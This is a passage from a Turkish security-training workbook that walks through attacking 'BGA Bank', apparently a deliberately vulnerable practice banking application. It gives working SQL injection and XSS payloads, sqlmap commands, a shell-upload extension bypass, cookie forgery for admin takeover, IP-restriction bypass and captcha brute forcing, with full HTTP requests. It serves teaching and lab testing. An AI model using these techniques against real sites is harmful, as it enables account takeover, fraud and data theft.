Çıktı Database: bga_bank_4_0 Table: bnk_temsilciler [2 entries] +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+ | t_sifre | t_kullanicino | +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+ | 310dcbbf4cce62f762a2aaa148d556bd (333) | 11111111 | | 310dcbbf4cce62f762a2aaa148d556bd (333) | 22222222 | +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
Tablo 13. sqlmap veritabanından veri çekme
Sqlmap sözlük saldırısı ile şifreyi çözmeyi başarabilmiştir fakat sqlmap yetersiz kaldığında şifreler http://hashkiller.co.uk/md5-‐decrypter.aspx adresinden MD5 veritabanında aratılabilir. Kullanıcı adı ve parola ile sisteme giriş denenir. (Şekil 23)
Şekil 23. Sisteme giriş denemesi
Sonuç. başarılı! (Şekil 24)
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 29
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 24. Sonuç
Diğer veritabanları üzerinden denemeler yapılabilir. Örneğin phpmyadmin veritabanı, pma_userconfig tablosu, username kolonu üzerinden gidilirse phpmyadmin kullanıcılarına ulaşılabilir (Tablo 14). Phpmyadmin panelide bilindiğinden kullanıcı adlarına brute force yapılabilir. (phpMyAdmin kullanıcılarının parola bilgileri veritabanında değil işletim sisteminde saklandığı için şifreler veritabanından ulaşılamaz.)
30 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
12. Log Dizininde Cookie İfşası (elmah.axd) ve İstismarı
URL http://isube.bgabank.com/elmah.axd Tablo 14. Log dizini URL bilgisi
Belirtilen dizinde, giriş yapan kullanıcıların oturum bilgisini saklayan cookieler tutulmaktadır. Bu bilgiler kullanılarak oturum hırsızlığı (session hijacking) yapılabilir. (Şekil 25)
Şekil 25. Elmah.axd dizini
İstismar için Chrome ve Firefox tarayıcısı ile Firefox eklentisi olan Cookie Manager+ v1.5.2 kullanılmıştır. Farklı eklentiler de kullanılabilir. Zafiyetin istismarı aşağıda adım adım anlatılmıştır.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 31
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
1) Normal bir müşteri(10000142 Müşteri No.lu Mustafa Balaban) olarak Chrome üzerinden giriş yapılır.
Şekil 26. Chrome Normal Giriş
BGA Bank uygulaması bu kullanıcının cookie bilgisini http://isube.bgabank.com/elmah.axd/ dizini altında kullanıcı numarası klasöründe saklamaktadır. (http://isube.bgabank.com/elmah.axd/10000142/)
Şekil 27. Elmah.axd Log
32 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2) Loglardan elde edilen cookie bilgileri Firefox Cookie Manager ile Firefox üzerinde değiştirilir, olmayanlar eklenir.
Şekil 28. Cookie Değiştirme
Şekil 28. de PHPSESSID değeri değiştirilmiştir. Şekil 29. da ise guest cookie bilgisi FALSE olarak eklenmiştir.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 33
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 29. Guest Cookie Bilgilerini Ekleme
34 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3) Firefox’da iken sayfa yenilendiğinde Mustafa Balaban olarak giriş yapıldığı görülecektir.
Şekil 30. Cookie Değiştirme Sonucu
NOT: Bu cookielerin sunucudan gelirken görüntülemek için Burp ile sunucudan dönen cevaplar içinde araya girmek gerekir. Burp varsayılan olarak giden istekler için araya girer. Proxy → Options sekmesi altında 1 ile belirtilen kısım giden istekler için araya girerken, 2 ile belirtilen kısım sunucudan gelen istekler içinde araya girer.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 35
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 31. Burp Suite Options
Intercept responses based on the following rules için tik koyulduktan sonra giriş sonrası sunucudan gelen cevap ve cookie bilgileri görüntülenebilir.
36 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
13. Mesaj Gönderme Stored XSS Zafiyeti ve İstismarı
URL http://isube.bgabank.com/mesajlar.aspx?islem=yenimesaj
HTTP Talep Türü POST
Payload <img onerror="alert(document.cookie)" src="1.jpg">
Parametre Mesaj (k2)
Müşteri girişi yapıldıktan sonra Mesajlar menüsünden müşteri temsilcisine mesaj gönderilebiliyor. Mesaj bölümünde XSS payload girilip gönderildiğinde, müşteri temsilcisi mesajı görüntülediği anda XSS payload çalıştırılabilir. Adımlar aşağıdaki gibidir.
1) Normal müşteri olarak giriş yapılır, Mesajlar menüsünden, Yeni Mesaj gönder seçilir. (Şekil 32)
Şekil 32. Yeni Mesaj Gönderme Formu
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 37
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2) Tablo 15 de belirtilen payload Mesaj kısmına girilir ve “Devam Et” butonuna tıklanır. Ardından temsilci olarak sisteme giriş yapılır ve istek görüntülenir. (Şekil 33)
Şekil 33. Müşteri ve temsilci mesajlar paneli
Üstte müşteriye ait olan panelden gönderilen mesaj, temsilcinin mesajlar paneline düşmüştür.
3) Temsilci mesajı görüntüler ve XSS payloadı çalışır.
Şekil 34. XSS Payload Çalışır
Cookie bilgisi ekrana bir pop-‐up çıkartmak yerine uzak bir makinede bir dosyaya da yazılabilir ve oturum hırsızlığı yapılabilirdi.
38 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
14. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyeti ve İstismarı
URL http://isube.bgabank.com/havale-‐eft.aspx
HTTP Talep Türü GET
Payload a"+or+1=1;-‐-‐
Parametre term
Tablo 16. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyet Bilgileri
Müşteri girişi yapıldıktan sonra Havale-‐EFT işlemi sırasında, "Varolan Hesaplar" kısmından arama yapılıp diğer kullanıcılar görüntülenebilir. Bu bölümde SQL injection zafiyeti vardır.
Havale-‐EFT sayfası ‘Varolan Hesaplar’ kısmına “a” gibi bir harf yazıldığında içinde “a” geçen müşteriler listelenecektir.
Şekil 35. Hesap Arama
Burp ile araya girildiğinde şekil 36’da ki gibi bir isteğin gittiği görülür.
Şekil 36. Burp Suite SQL Injection
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 39
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Çeşitli denemelerden sonra tablo 16 belirtilen payload yazıldığında bütün müşterilerin listelendiği görülür. (Şekil 37)
Şekil 37. Burp Suite Tüm Müşterileri Listeleme
Gönderilen GET datası
GET /ajax.php?sayfa=hesap-‐lists.php&term=a HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Content-‐Type: text/plain; charset=UTF-‐8 X-‐Requested-‐With: XMLHttpRequest Referer: http://isube.bgabank.com/havale-‐eft.aspx Cookie: PHPSESSID=ersvs83cl712mkni2jm1ru6t33; is_admin=false; guest=FALSE DNT: 1 Connection: keep-‐alive
40 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
GET datası alınır ve bir text dosyasına kaydedilir, kaydedilen metin belgesi -‐r parametresiyle sqlmap aracına verilir.
Komut sqlmap.py -‐r ../Desktop/deneme.txt -‐-‐dbms mysql -‐p term -‐-‐level 3 -‐-‐risk 3
Çıktı Place: GET Parameter: term Type: UNION query Title: MySQL UNION query (NULL) -‐ 14 columns Payload: sayfa=hesap-‐lists.php&term=a" UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171687971,0x6d6 56a4e4f7653726749,0x716f666e71)# Type: AND/OR time-‐based blind Title: MySQL > 5.0.11 OR time-‐based blind Payload: sayfa=hesap-‐lists.php&term=-‐7892" OR 5880=SLEEP(5) AND "oRfa" LIKE "oRfa
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 41
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
15. User-Agent Başlık Bilgisinde SQL Injection Zafiyeti ve İstismarı Müşteri girişi yapılırken kullanıcı adı ve şifre doğru ise User-‐Agent bilgileri veritabanına kayıt oluyor. User-‐Agent başlık bilgisinde zaman tabanlı SQL injection zafiyeti vardır.
URL http://isube.bgabank.com/giris.aspx
HTTP Talep Türü POST
Payload " AND SLEEP(5) AND "1"="1
Parametre User-‐Agent
Tablo 17. User-‐Agent Başlık Bilgisi SQL Injection Zafiyet Bilgileri
SLEEP fonksiyonu MySQL’de, MSSQL veritabanındaki waitfor delay fonksiyonun karşılığıdır. Tablo 17. de ki payload, user-‐agent başlığına eklendiğinde, sayfanın 5 saniye geç yüklendiği görülecektir. (Şekil 38)
Şekil 38. Time Based SQL Injection
42 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
16. Profil Güncelleme Shell Upload Zafiyeti ve İstismarı Müşteri girişi yapıldıktan sonra Müşteri Bilgilerim menüsünde kısmında kullanıcıların kendileri için profil resmi yükleyebileceği bir form vardır. Bu formda sadece jpg ve png uzantılı resim yüklenebileceği belirtilmekte ancak uzantı kontrolü çok basit şekilde yapılmaktadır. Buraya yüklenecek bir shell ile işletim sistemine komut gönderilebilir.
Şekil 39. Müşteri Bilgilerim Sayfası
Sisteme normal php uzantılı dosya yüklenmek istendiğinde yükleme başarısız olacaktır. Uygulamanın geliştirme sürecinde yapılan hatalardan biri dosya içerisinde noktadan sonra png,jpg kontrolünün yapılmasıdır. Dolayısıyla sisteme shell.jpg.php şeklinde dosya gönderildiğinde kabul edilecektir çünkü noktadan sonra jpg kullanılmıştır ama dosya uzantısı php dir.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 43
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 40. Shell Yükleme
Shelle ulaşıp çalıştırmak için shell lokasyonu sayfa kaynağından öğrenilebilir. (Şekil 41)
Şekil 41. Sayfa Kaynağı Shell Lokasyonu Tespiti
44 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Başka bir yöntem olarak DirBuster programı ile shelle ulaşılabilir. (Şekil 42)
Şekil 42. DirBuster
Yüklenen shell şu şekilde olduğu görülecektir: http://isube.bgabank.com/uploads/kullanıcı_id/dosya_adı.jpg.php
Şekil 43. Shell
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 45
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
17. Havale/EFT Stored XSS Zafiyeti ve İstismarı Müşteri olarak BGA BANK’a giriş yapılır. İşlemler → Havale/EFT bölümünde k8 parametresinde (Not kısmı) stored XSS zafiyeti vardır. Bu zafiyet istismar edildiğinde XSS payloadı, hem Havale/EFT yapılan kişinin tarayıcısında hem de saldırganın tarayıcısında, hesap bilgileri görüntülendiğinde çalışacaktır.
URL http://isube.bgabank.com/havale-‐eft.aspx
HTTP Talep Türü POST
Payload <script>alert(document.cookie)</script>
Parametre k8
Tablo 18. Havale/EFT Stored XSS Zafiyet Bilgileri
XSS tipi stored(depolanan) olarak belirtilmiştir. Çünkü girilen payload veritabanına kaydedilmiştir. Uygulama içerisinde Not’un gösterildiği her yerde bu payload çalışacaktır. İstismar adım adım aşağıda anlatılmıştır.
46 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
1) Normal müşteri olarak giriş yapılır. Havale işlemi sayfasında bulunan “Varolan Hesaplar” yardımıyla para havale edilecek müşteri seçilir ve “Not” alanına payload girilip “Devam et” butonuna tıklanır. (Şekil 44)
Şekil 44. Havale İşlemi
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 47
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2) Havale edilen kişinin hesabına girilir. Menuden “Hesap Bilgilerim” seçilir ve ardından “Devam Et” butonuna tıklanır. Açılan sayfa hesap geçmişini görüntülediğinden, saldırgan tarafından gönderilen not bu sayfaya düşer ve XSS payload çalışır. (Şekil 45)
Şekil 45. Havale/EFT XSS istismarı
48 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
18. Erişim Kısıtlamasını Atlatma Her kullanıcı Ayarlar bölümünden BGABANK’a erişebileceği IP'yi belirtebilir ve artık sadece o IP üzerinden erişim sağlanır. Bu kısıtlama iki şekilde atlatılabilmektedir.
1) Uygulamaya mobil olarak giriş yapılırsa IP kısıtlaması atlatılmış olur.
IP erişimini belirleme:
Şekil 46. Ayarları Özelleştirme
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 49
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
User-‐Agent değiştirmek için Firefox’ta User Agent Switcher eklentisi kullanılabilir. Ya da Şekil 47 de ki gibi Burp Suite ile User-‐Agent değeri değiştirilerek giriş yapılabilir.
Şeki 47. Burp Suite İle User-‐Agent Bilgisi Değiştirme
Örnek POST datası
POST /giris.aspx HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Opera/9.80 (Android; Opera Mini/7.5.33361/31.1543; U; en) Presto/2.8.119 Version/11.1010 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: PHPSESSID=qbs1b2qas1j7gk9olkbb27s6p4 Connection: keep-‐alive Content-‐Type: application/x-‐www-‐form-‐urlencoded Content-‐Length: 38 b_musterino=10000142&b_password=sifre
50 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2) X-‐Forwarded-‐For başlık bilgisi ekleyerek de bu engel atlatılabilir. Farklı bir IP ile giriş yapılmaya çalışıldığında kullanıcının izin verdiği IP bilgisi ekrana yazdırılmaktadır. (Şekil 48)
Şekil 48. IP Yasağı
Ekrana yazdırılan IP bilgisini kullanmak için Burp proxy aracı ile araya girilir. Şekil 49 da ki gibi X-‐Forwarded-‐For: 1.1.1.1 (yada izin verilen IP ne ise) başlık bilgisi girilir.
Şekil 49. X-‐Forwarded-‐For
Sisteme başarıyla giriş yapılır.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 51
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
19. Havale/EFT İşlemi Mantık Hatası ve İstismarı Uygulamaya web üzerinden girildiğinde Havale/EFT işlemleri için ücret kesilirken, mobil cihazlardan girildiğinde ücret kesilmemektedir. Bu zafiyet ile User-‐Agent bilgisi mobil cihaz olacak şekilde değiştirilerek havale/EFT işlemi ücretsiz yapılabilir.
Şekil 50. User-‐Agent Switcher
Aşağıda web ve mobil olarak iki arayüz gösterilmiştir. Web arayüzde yapılan işlemlerden ücret kesileceği uyarısı yer almaktadır fakat mobilde bu uyarıya yer verilmemiştir.
Web
52 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Mobil
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 53
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
20. Müşteri Bilgileri Insecure Direct Object Zafiyeti ve İstismarı Müşteri, profil bilgilerini Müşteri Bilgilerim menüsü altında bulabilmektedir. Bu sayfadaki bilgiler Tablo 19 da belirtilen musteriID parametresi ile veritabanından çağrılmaktadır. Parametre değeri değiştirilip başka bir değer girildiğinde sisteme kayıtlı diğer müşteri bilgilerine erişim sağlanabilmektedir.
URL http://isube.bgabank.com/profil.aspx?musteriID=11
HTTP Talep Türü GET
Parametre musteriID
Tablo 19. Müşteri Bilgileri Insecure Direct Object Zafiyet Bilgileri
54 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 51. de sisteme musteriID değeri 11 olan Mustafa Balaban olarak giriş yapılmıştır.
Şekil 51. Müşteri Bilgileri
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 55
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Tablo 19. da verilen URL bilgisinin sonunda bulunan 11 olan mustediID parametresinin değeri 12 olarak değiştirildiğinde şekil 52 de görüldüğü gibi başka bir kullanıcının bilgilerine ulaşılır.
Şekil 52. Başka Müşteri Bilgileri
56 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
21. Ziyaretçi Defteri Stored XSS Zafiyeti ve İstismarı Ziyaretçi defteri sayfasında yer alan “Mesajınız” kısmında Stored XSS zafiyeti vardır. İstismar edildiğinde, stored tipinde bir XSS olduğu için, ilgili sayfa her ziyaret edildiğinde payload çalışacaktır.
URL http://isube.bgabank.com/ziyaretcidef.aspx
HTTP Talep Türü POST
Payload <script>alert(document.cookie)</script>
Parametre k4
Tablo 20. Ziyaretçi Defteri Stored XSS Zafiyet Bilgileri
Tablo 20. de yer alan payload şekil 53. deki gibi “Mesajınız” kısmına yazılır ve sisteme gönderilir.
Şekil 53. Ziyaretçi Defteri
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 57
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Sonuç, başarılı. (Şekil 54)
Şekil 54. Sonuç
58 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
22. Çalışmayan Captcha Uygulaması
URL http://isube.bgabank.com/administrator.aspx
Tablo 21. Çalışmayan Captcha Adresi
Tablo 21. de belirtilen adreste bulunan captcha çalışmamaktadır. Administrator giriş sayfası için sadece captchanın boş olup olmadığının kontrolü yapılmaktadır.
Şekil 55. Başarısız Deneme
Şekil 56. Başarılı Deneme
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 59
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
23. Captcha Atlatarak Brute Force Saldırısı Gerçekleştirme
URL http://isube.bgabank.com/iletisim.aspx
Tablo 22. Captcha Adresi
BGA Bank iletişim sayfasında bulunan captchanın doğru bir şekilde girildiğinin kontrolü yapılmaktadır (Şekil 57) ancak araya girilerek tek bir captcha ile çok fazla GET isteği gönderilebilir.
Şekil 57. İletişim Sayfası Boş Captcha Sonucu
60 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 58. İletişim Sayfası Captcha Kontrolü
İstismar için gönderilen GET isteği örneği aşağıdaki gibidir. Burada aynı captcha kullanılarak sadece mail adresleri değiştirilip gönderilmiştir. Örnek GET isteği aşağıdaki gibidir.
GET /ajax.php?sayfa=iletisim.php&k1=Ceylan&k2=Bozogullarindan&k3=(554)+478+87+88&k4=Ba%C5%9Fvuru+Hakk%C4%B1nda&k5=Ornek+mesaj&k6=deneme%40bga.com.tr&k7=ptisan HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Content-‐Type: text/plain; charset:UTF-‐8 X-‐Requested-‐With: XMLHttpRequest Referer: http://isube.bgabank.com/iletisim.aspx Cookie: PHPSESSID=uq0vkig0f89mg24dse8s8akdu2 DNT: 1 Connection: keep-‐alive
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 61
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Ekran görüntüsünde ve örnek GET isteğinde görülebileceği gibi mail adreslerini fuzz etmek için Burp üzerinde k6 parametresine §§ sembolleri eklenmiştir. (Şekil 59)
Şekil 59. Burp Suite Intruder Pozisyon Belirleme
Örnek olarak oluşturulan sahte email adresleri başarıyla yollanmıştır. (Şekil 60)
Şekil 60. Sonuç
62 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
24. Cookie Hırsızlığı ile Yönetim Panelinde Oturum Açmak Senaryo: Öncelikle hedef sistemde yönetim paneli bulunur. Ardından yanlış bilgilerle giriş yapılmaya çalışılır. Sunucudan gelen cevap takip edildiğinde Set-‐cookie başlık bilgisinde “is_admin=false” gibi bir değerin döndüğü görülür. Bu değer true olarak girilse dahi yönetici kullanıcı bilgilerine sahip olmadan giriş yapılamayacaktır. Bu nedenle uygulamaya normal müşteri olarak giriş yapılmaya çalışılır (Beni hatırla seçeneğinin aktif olması gerekir.). Giden isteğe araya girilerek Cookie başlık bilgisine is_admin=true değeri eklenir. Ancak bu da tek başına yeterli olmayacaktır. Normal bir müşteriye sunucudan cookie bilgisinde user_id, u_p, u_a gibi geriye değerler döner. Bu değerler user_id haricinde encode olarak geldiği için anahtar olmadan çözmek zordur. user_id değeri ise kullanıcının sistemde kayıtlı olduğu id değeridir. Yönetici olarak giriş yapabilmek için yöneticinin user_id değerini de tahmin etmek gerekir. Web uygulamalarında genelde yönetici değerleri 0,1 gibi değerler taşır. BGA Bank’da user_id=1 ve user_id=2 değerleri müşteri temsilcilerine aittir. Cookie başlık bilgisinde bulunan user_id bu değerlerden birisiyle değiştirilip istek gönderildiğinde yönetici paneli ele geçirilmiş olur.
1) Yönetici paneline giriş denenir.
Gönderilen İstek
GET /ajax.php?sayfa=temsilcigiris.php&k=11111111&s=1111111&c=AA HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Content-‐Type: text/plain; charset:UTF-‐8 X-‐Requested-‐With: XMLHttpRequest Referer: http://isube.bgabank.com/administrator.aspx Cookie: PHPSESSID=hssns8khv40cgpbmpjr44ibjm6 DNT: 1 Connection: keep-‐alive
Sunucudan Dönen Cevap ve Set-‐Cookie Değeri
HTTP/1.1 200 OK Date: Sat, 13 Sep 2014 19:17:58 GMT Server: Apache/2.4.7 (Ubuntu) X-‐Powered-‐By: PHP/5.5.9-‐1ubuntu4.3 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-‐Control: no-‐store, no-‐cache, must-‐revalidate, post-‐check=0, pre-‐check=0 Pragma: no-‐cache L-‐IP: 172.16.16.100 Set-‐Cookie: is_admin=false; expires=Sat, 13-‐Sep-‐2014 20:17:58 GMT; Max-‐Age=3600 Content-‐Length: 22
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 63
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Keep-‐Alive: timeout=5, max=100 Connection: Keep-‐Alive Content-‐Type: text/html Bilgileriniz Yanlış!
Şekil 61. Sunucudan Dönen Cevap
2) Müşteri girişi POST isteği parametreleri aşağıdaki gibi değiştirilerek istek olarak sunucuya gönderilir.
Normal müşteri girişi, POST isteği aşağıdaki gibidir. Bu isteğe araya girip user_id değerinin değiştirilmesi ve is_admin=true değerinin eklenmesi gerekir.
Gönderilen İstek
POST /giris.aspx HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: PHPSESSID=hssns8khv40cgpbmpjr44ibjm6; is_admin=false Connection: keep-‐alive Content-‐Type: application/x-‐www-‐form-‐urlencoded Content-‐Length: 38 b_musterino=10000142&b_password=100011
64 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
user_id ve is_admin parametre değerleri değiştirilerek gönderilen POST isteği
POST /giris.aspx HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: user_id=1; PHPSESSID=hssns8khv40cgpbmpjr44ibjm6; is_admin=true Connection: keep-‐alive Content-‐Type: application/x-‐www-‐form-‐urlencoded Content-‐Length: 38 b_musterino=10000142&b_password=100011
Şekil 62. Yönetim Paneli
Bu panelde başka bir menüye gidilmek istendiğinde yine araya girip user_id ve is_admin parametrelerinin düzenlenmesi gerekir. Örnek olarak mesajlar kısmına girmek için giden istek aşağıdaki gibi olacaktır.
Gönderilen İstek
GET /mesajlar.aspx HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: PHPSESSID=hssns8khv40cgpbmpjr44ibjm6; is_admin=false DNT: 1 Connection: keep-‐alive
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 65
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Düzenlemeler Yapılan İstek
GET /mesajlar.aspx HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Referer: http://isube.bgabank.com/giris.aspx Cookie: user_id=1; PHPSESSID=hssns8khv40cgpbmpjr44ibjm6; is_admin=true DNT: 1 Connection: keep-‐alive
Mesajlar kısmı görüntülenir. (Şekil 63)
Şekil 63. Mesajlar Sayfası
66 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
25. Müşteri Parolasının Tahmin Edilebilir Olması BGA Bank uygulamasında yeni müşteri olmak için Başvuru menüsü aracılığıyla başvuru yapılabilir. Kayıt olunan e-‐posta adresine kullanıcının detaylı hesap ve kart bilgisi yollanmaktadır. Örnek postada görülebileceği gibi parola bilgisi uygulama tarafından belirlenmektedir. (Şekil 64)
Şekil 64. Müşteri Bilgilerini İçeren Posta
